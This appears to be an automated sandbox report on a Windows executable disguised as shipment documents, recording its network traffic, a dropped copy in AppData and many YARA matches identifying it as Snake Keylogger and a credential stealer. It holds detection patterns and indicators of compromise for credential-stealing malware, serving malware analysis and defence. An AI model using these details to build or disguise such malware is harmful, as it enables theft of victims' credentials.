Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000009.00000002.4134245226.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: rShipmentDocuments.exe

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_0177E06C	0_2_0177E06C
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_058D9518	0_2_058D9518
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_058DA8B0	0_2_058DA8B0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_058DA8C0	0_2_058DA8C0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3D278	9_2_02A3D278
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A35362	9_2_02A35362
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3A088	9_2_02A3A088
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A37118	9_2_02A37118
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3C148	9_2_02A3C148
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3C738	9_2_02A3C738
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3C468	9_2_02A3C468
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3CA08	9_2_02A3CA08
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A369B0	9_2_02A369B0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3E988	9_2_02A3E988
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3CFAA	9_2_02A3CFAA
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3CCD8	9_2_02A3CCD8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A329E0	9_2_02A329E0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3F961	9_2_02A3F961
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A3E97A	9_2_02A3E97A
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_02A33E09	9_2_02A33E09
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F9C18	9_2_068F9C18
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FFC68	9_2_068FFC68
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F2288	9_2_068F2288
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F1BA8	9_2_068F1BA8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FF3B8	9_2_068FF3B8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F9328	9_2_068F9328
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F0B30	9_2_068F0B30
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F5028	9_2_068F5028
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F2970	9_2_068F2970
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FE6A0	9_2_068FE6A0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FE6B0	9_2_068FE6B0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FDE00	9_2_068FDE00
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FEF51	9_2_068FEF51
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FEF60	9_2_068FEF60
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FCCA0	9_2_068FCCA0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FDDFF	9_2_068FDDFF
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F9548	9_2_068F9548
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD540	9_2_068FD540
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD550	9_2_068FD550
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FEAF8	9_2_068FEAF8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FE24A	9_2_068FE24A
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FE258	9_2_068FE258
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F2278	9_2_068F2278
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F8BA0	9_2_068F8BA0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FEB08	9_2_068FEB08
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F0B20	9_2_068F0B20
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F1B77	9_2_068F1B77
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD0E9	9_2_068FD0E9
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD0F8	9_2_068FD0F8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F0007	9_2_068F0007
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FF802	9_2_068FF802
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F5018	9_2_068F5018
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FF810	9_2_068FF810
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F0040	9_2_068F0040
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD999	9_2_068FD999
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068FD9A8	9_2_068FD9A8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_0094E06C	10_2_0094E06C
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_04CE9518	10_2_04CE9518
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_04CEA8C0	10_2_04CEA8C0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_04CEA8B0	10_2_04CEA8B0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069CC2E0	10_2_069CC2E0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C1998	10_2_069C1998
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C66D0	10_2_069C66D0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C4660	10_2_069C4660
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C4ED0	10_2_069C4ED0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C4A98	10_2_069C4A98
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C4A88	10_2_069C4A88
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C1A4A	10_2_069C1A4A
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C6B08	10_2_069C6B08
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C1989	10_2_069C1989
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_03035362	16_2_03035362
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303D278	16_2_0303D278
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_03037118	16_2_03037118
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303C146	16_2_0303C146
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303A088	16_2_0303A088
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303C738	16_2_0303C738
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303C468	16_2_0303C468
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303CA08	16_2_0303CA08
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303E988	16_2_0303E988
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_030369A0	16_2_030369A0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303CFA9	16_2_0303CFA9
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303CCD8	16_2_0303CCD8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_03033AA1	16_2_03033AA1
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303F961	16_2_0303F961
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303E97A	16_2_0303E97A
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_030339EE	16_2_030339EE
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_030329EC	16_2_030329EC
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_03033E09	16_2_03033E09
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D81E80	16_2_06D81E80
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8F3B8	16_2_06D8F3B8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D817A0	16_2_06D817A0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D80B30	16_2_06D80B30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D89C70	16_2_06D89C70
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8FC68	16_2_06D8FC68
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D85028	16_2_06D85028
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D89548	16_2_06D89548
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D82968	16_2_06D82968
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8EAF8	16_2_06D8EAF8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8E6B0	16_2_06D8E6B0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8E6AF	16_2_06D8E6AF
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8E258	16_2_06D8E258
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8E249	16_2_06D8E249
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D81E70	16_2_06D81E70
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8DE00	16_2_06D8DE00
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D89BFB	16_2_06D89BFB
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D88B91	16_2_06D88B91
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8178F	16_2_06D8178F
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D88BA0	16_2_06D88BA0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8EF51	16_2_06D8EF51
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8EF60	16_2_06D8EF60
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8EB08	16_2_06D8EB08
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D89328	16_2_06D89328
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D80B20	16_2_06D80B20
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8D0F8	16_2_06D8D0F8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8CCA0	16_2_06D8CCA0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D80040	16_2_06D80040
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8501F	16_2_06D8501F
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8F810	16_2_06D8F810
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8F801	16_2_06D8F801
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D80007	16_2_06D80007
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8DDFF	16_2_06D8DDFF
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8D999	16_2_06D8D999
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8D9A8	16_2_06D8D9A8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8D550	16_2_06D8D550
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D8D540	16_2_06D8D540

Source: rShipmentDocuments.exe, 00000000.00000002.1735749873.0000000007DB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000000.1674316077.0000000000F64000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameYGc.exe6 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000002.1736191962.0000000009214000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000002.1728733569.0000000003327000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000000.00000002.1726790229.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000009.00000002.4134998750.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000446000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rShipmentDocuments.exe
Source: rShipmentDocuments.exe	Binary or memory string: OriginalFilenameYGc.exe6 vs rShipmentDocuments.exe

Source: rShipmentDocuments.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
